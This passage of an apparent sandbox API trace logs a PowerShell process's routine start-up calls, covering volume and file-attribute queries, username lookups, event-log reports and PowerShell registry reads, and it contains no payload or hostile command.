lpFileSystemNameBuffer=0x28934a0, nFileSystemNameSize=0x32 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x1acf10*=0x705ba84c, lpMaximumComponentLength=0x1acf0c*=0xff, lpFileSystemFlags=0x1acf08*=0x3e700ff, lpFileSystemNameBuffer="NTFS") returned 1 [0114.114] CoTaskMemFree (pv=0x2878a90) [0114.114] CoTaskMemFree (pv=0x28934a0) [0114.114] SetErrorMode (uMode=0x1) returned 0x1 [0114.114] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0114.116] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1acc50, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0114.116] SetErrorMode (uMode=0x1) returned 0x1 [0114.116] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x1aceb0 | out: lpFileInformation=0x1aceb0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0x6cd47e0, ftLastAccessTime.dwHighDateTime=0x1d337b1, ftLastWriteTime.dwLowDateTime=0x6cd47e0, ftLastWriteTime.dwHighDateTime=0x1d337b1, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0114.116] SetErrorMode (uMode=0x1) returned 0x1 [0114.116] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1acc50, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0114.116] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x1acb00, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0114.116] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0114.117] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x1aca30, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0114.117] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0114.118] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1aca80, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0114.118] SetErrorMode (uMode=0x1) returned 0x1 [0114.118] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x1acce0 | out: lpFileInformation=0x1acce0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0x6cd47e0, ftLastAccessTime.dwHighDateTime=0x1d337b1, ftLastWriteTime.dwLowDateTime=0x6cd47e0, ftLastWriteTime.dwHighDateTime=0x1d337b1, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0114.118] SetErrorMode (uMode=0x1) returned 0x1 [0114.118] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1aca80, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0114.118] SetErrorMode (uMode=0x1) returned 0x1 [0114.118] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x1acce0 | out: lpFileInformation=0x1acce0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0x6cd47e0, ftLastAccessTime.dwHighDateTime=0x1d337b1, ftLastWriteTime.dwLowDateTime=0x6cd47e0, ftLastWriteTime.dwHighDateTime=0x1d337b1, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0114.118] SetErrorMode (uMode=0x1) returned 0x1 [0114.119] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1acb20, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0114.119] SetErrorMode (uMode=0x1) returned 0x1 [0114.119] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x1acd80 | out: lpFileInformation=0x1acd80*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0x6cd47e0, ftLastAccessTime.dwHighDateTime=0x1d337b1, ftLastWriteTime.dwLowDateTime=0x6cd47e0, ftLastWriteTime.dwHighDateTime=0x1d337b1, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0114.119] SetErrorMode (uMode=0x1) returned 0x1 [0114.119] CoTaskMemAlloc (cb=0x804) returned 0x2c1a20 [0114.119] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x2c1a20, nSize=0x1ad188 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0x1ad188) returned 0x1 [0114.120] CoTaskMemFree (pv=0x2c1a20) [0114.120] CoTaskMemAlloc (cb=0x204) returned 0x385950 [0114.120] GetUserNameW (in: lpBuffer=0x385950, pcbBuffer=0x1ad1c8 | out: lpBuffer="aETAdzjz", pcbBuffer=0x1ad1c8) returned 1 [0114.120] CoTaskMemFree (pv=0x385950) [0114.120] ReportEventW (hEventLog=0x1b7f0008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3d78a70*="FileSystem", lpRawData=0x3d78800) returned 1 [0114.122] CoTaskMemAlloc (cb=0x104) returned 0x358750 [0114.122] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358750, nSize=0x80 | out: lpBuffer="") returned 0x0 [0114.122] CoTaskMemFree (pv=0x358750) [0114.123] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1aca60, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0114.123] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ac9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0114.123] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ac9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0114.124] CoTaskMemAlloc (cb=0x804) returned 0x2c1a20 [0114.124] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x2c1a20, nSize=0x1ad188 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0x1ad188) returned 0x1 [0114.124] CoTaskMemFree (pv=0x2c1a20) [0114.124] CoTaskMemAlloc (cb=0x204) returned 0x385950 [0114.124] GetUserNameW (in: lpBuffer=0x385950, pcbBuffer=0x1ad1c8 | out: lpBuffer="aETAdzjz", pcbBuffer=0x1ad1c8) returned 1 [0114.125] CoTaskMemFree (pv=0x385950) [0114.125] ReportEventW (hEventLog=0x1b7f0008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3d7e260*="Function", lpRawData=0x3d7dff0) returned 1 [0114.128] CoTaskMemAlloc (cb=0x104) returned 0x358750 [0114.128] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358750, nSize=0x80 | out: lpBuffer="") returned 0x0 [0114.128] CoTaskMemFree (pv=0x358750) [0114.134] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1aca30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0114.134] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ac980, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0114.135] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ac980, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0114.135] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ac980, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0114.287] CoTaskMemAlloc (cb=0x804) returned 0x2c1a20 [0114.287] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x2c1a20, nSize=0x1ad188 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0x1ad188) returned 0x1 [0114.287] CoTaskMemFree (pv=0x2c1a20) [0114.287] CoTaskMemAlloc (cb=0x204) returned 0x385950 [0114.287] GetUserNameW (in: lpBuffer=0x385950, pcbBuffer=0x1ad1c8 | out: lpBuffer="aETAdzjz", pcbBuffer=0x1ad1c8) returned 1 [0114.288] CoTaskMemFree (pv=0x385950) [0114.288] ReportEventW (hEventLog=0x1b7f0008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x335cc58*="Registry", lpRawData=0x335c9e8) returned 1 [0114.305] CoTaskMemAlloc (cb=0x804) returned 0x2c1a20 [0114.305] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x2c1a20, nSize=0x1ad188 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0x1ad188) returned 0x1 [0114.306] CoTaskMemFree (pv=0x2c1a20) [0114.306] CoTaskMemAlloc (cb=0x204) returned 0x385950 [0114.306] GetUserNameW (in: lpBuffer=0x385950, pcbBuffer=0x1ad1c8 | out: lpBuffer="aETAdzjz", pcbBuffer=0x1ad1c8) returned 1 [0114.306] CoTaskMemFree (pv=0x385950) [0114.306] ReportEventW (hEventLog=0x1b7f0008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3362020*="Variable", lpRawData=0x3361db0) returned 1 [0114.307] CoTaskMemAlloc (cb=0x104) returned 0x358750 [0114.307] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358750, nSize=0x80 | out: lpBuffer="") returned 0x0 [0114.307] CoTaskMemFree (pv=0x358750) [0114.313] CoTaskMemAlloc (cb=0x104) returned 0x358750 [0114.313] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358750, nSize=0x80 | out: lpBuffer="") returned 0x0 [0114.313] CoTaskMemFree (pv=0x358750) [0114.349] CoTaskMemAlloc (cb=0x804) returned 0x2c1a20 [0114.349] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x2c1a20, nSize=0x1ad188 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0x1ad188) returned 0x1 [0114.350] CoTaskMemFree (pv=0x2c1a20) [0114.350] CoTaskMemAlloc (cb=0x204) returned 0x385950 [0114.350] GetUserNameW (in: lpBuffer=0x385950, pcbBuffer=0x1ad1c8 | out: lpBuffer="aETAdzjz", pcbBuffer=0x1ad1c8) returned 1 [0114.350] CoTaskMemFree (pv=0x385950) [0114.351] ReportEventW (hEventLog=0x1b7f0008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3376010*="Certificate", lpRawData=0x3375da0) returned 1 [0114.359] CoTaskMemAlloc (cb=0x104) returned 0x358750 [0114.359] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358750, nSize=0x80 | out: lpBuffer="") returned 0x0 [0114.359] CoTaskMemFree (pv=0x358750) [0114.362] GetLogicalDrives () returned 0x4 [0114.363] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x1ace10, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0114.363] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0114.364] CoTaskMemAlloc (cb=0x20e) returned 0x375380 [0114.364] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x375380 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0114.364] CoTaskMemFree (pv=0x375380) [0114.366] CoTaskMemAlloc (cb=0x104) returned 0x358750 [0114.366] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358750, nSize=0x80 | out: lpBuffer="") returned 0x0 [0114.366] CoTaskMemFree (pv=0x358750) [0114.367] CoTaskMemAlloc (cb=0x104) returned 0x358750 [0114.367] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358750, nSize=0x80 | out: lpBuffer="") returned 0x0 [0114.367] CoTaskMemFree (pv=0x358750) [0114.376] CoTaskMemAlloc (cb=0x104) returned 0x358750 [0114.376] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358750, nSize=0x80 | out: lpBuffer="") returned 0x0 [0114.377] CoTaskMemFree (pv=0x358750) [0114.379] CoTaskMemAlloc (cb=0x104) returned 0x358750 [0114.379] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358750, nSize=0x80 | out: lpBuffer="") returned 0x0 [0114.379] CoTaskMemFree (pv=0x358750) [0114.380] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x105, lpBuffer=0x1acb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x0) returned 0x19 [0114.380] SetErrorMode (uMode=0x1) returned 0x1 [0114.380] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x1acdd0 | out: lpFileInformation=0x1acdd0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x2335d4a0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0xc3a65620, ftLastAccessTime.dwHighDateTime=0x1d475ba, ftLastWriteTime.dwLowDateTime=0xc3a65620, ftLastWriteTime.dwHighDateTime=0x1d475ba, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0114.380] SetErrorMode (uMode=0x1) returned 0x1 [0114.380] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x105, lpBuffer=0x1acb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x0) returned 0x19 [0114.380] SetErrorMode (uMode=0x1) returned 0x1 [0114.380] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x1acdd0 | out: lpFileInformation=0x1acdd0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x2335d4a0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0xc3a65620, ftLastAccessTime.dwHighDateTime=0x1d475ba, ftLastWriteTime.dwLowDateTime=0xc3a65620, ftLastWriteTime.dwHighDateTime=0x1d475ba, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0114.381] SetErrorMode (uMode=0x1) returned 0x1 [0114.381] CoTaskMemAlloc (cb=0x104) returned 0x358750 [0114.381] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358750, nSize=0x80 | out: lpBuffer="") returned 0x0 [0114.381] CoTaskMemFree (pv=0x358750) [0114.386] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x105, lpBuffer=0x1acd10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x0) returned 0x19 [0114.399] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ace30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x0) returned 0x19 [0114.400] SetErrorMode (uMode=0x1) returned 0x1 [0114.400] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x1ad090 | out: lpFileInformation=0x1ad090*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x2335d4a0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0xc3a65620, ftLastAccessTime.dwHighDateTime=0x1d475ba, ftLastWriteTime.dwLowDateTime=0xc3a65620, ftLastWriteTime.dwHighDateTime=0x1d475ba, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0114.400] SetErrorMode (uMode=0x1) returned 0x1 [0114.451] CoTaskMemAlloc (cb=0x804) returned 0x2c1a20 [0114.451] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x2c1a20, nSize=0x1ad3f8 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0x1ad3f8) returned 0x1 [0114.451] CoTaskMemFree (pv=0x2c1a20) [0114.451] CoTaskMemAlloc (cb=0x204) returned 0x385950 [0114.451] GetUserNameW (in: lpBuffer=0x385950, pcbBuffer=0x1ad438 | out: lpBuffer="aETAdzjz", pcbBuffer=0x1ad438) returned 1 [0114.451] CoTaskMemFree (pv=0x385950) [0114.453] ReportEventW (hEventLog=0x1b7f0008, wType=0x4, wCategory=0x4, dwEventID=0x190, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x33b2b68*="Available", lpRawData=0x33b28f8) returned 1 [0114.455] CoTaskMemAlloc (cb=0x104) returned 0x358750 [0114.455] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358750, nSize=0x80 | out: lpBuffer="") returned 0x0 [0114.455] CoTaskMemFree (pv=0x358750) [0114.456] CoTaskMemAlloc (cb=0x104) returned 0x358750 [0114.456] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358750, nSize=0x80 | out: lpBuffer="") returned 0x0 [0114.457] CoTaskMemFree (pv=0x358750) [0114.460] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1acf00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0114.460] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ace50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0114.460] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ace50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0114.469] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ace80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0114.469] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1acdd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0114.469] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1acdd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0114.470] CoTaskMemAlloc (cb=0x104) returned 0x358750 [0114.470] GetEnvironmentVariableW (in: lpName="HomeDrive", lpBuffer=0x358750, nSize=0x80 | out: lpBuffer="C:") returned 0x2 [0114.470] CoTaskMemFree (pv=0x358750) [0114.470] CoTaskMemAlloc (cb=0x104) returned 0x358750 [0114.470] GetEnvironmentVariableW (in: lpName="HomePath", lpBuffer=0x358750, nSize=0x80 | out: lpBuffer="\\Users\\aETAdzjz") returned 0xf [0114.470] CoTaskMemFree (pv=0x358750) [0114.470] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ace80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0114.470] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1acdd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0114.470] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1acdd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0114.471] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ace80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0114.471] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1acdd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0114.471] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1acdd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0114.471] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ace80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0114.472] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1acdd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0114.472] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1acdd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0114.472] GetCurrentProcessId () returned 0xb5c [0114.473] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ace80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0114.473] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1acdd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0114.473] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1acdd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0114.474] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ace10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0114.474] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ad418 | out: phkResult=0x1ad418*=0x334) returned 0x0 [0114.475] RegQueryValueExW (in: hKey=0x334, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1ad39c, lpData=0x0, lpcbData=0x1ad398*=0x0 | out: lpType=0x1ad39c*=0x1, lpData=0x0, lpcbData=0x1ad398*=0x56) returned 0x0 [0114.475] CoTaskMemAlloc (cb=0x5a) returned 0x28942a0 [0114.475] RegQueryValueExW (in: hKey=0x334, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1ad36c, lpData=0x28942a0, lpcbData=0x1ad368*=0x56 | out: 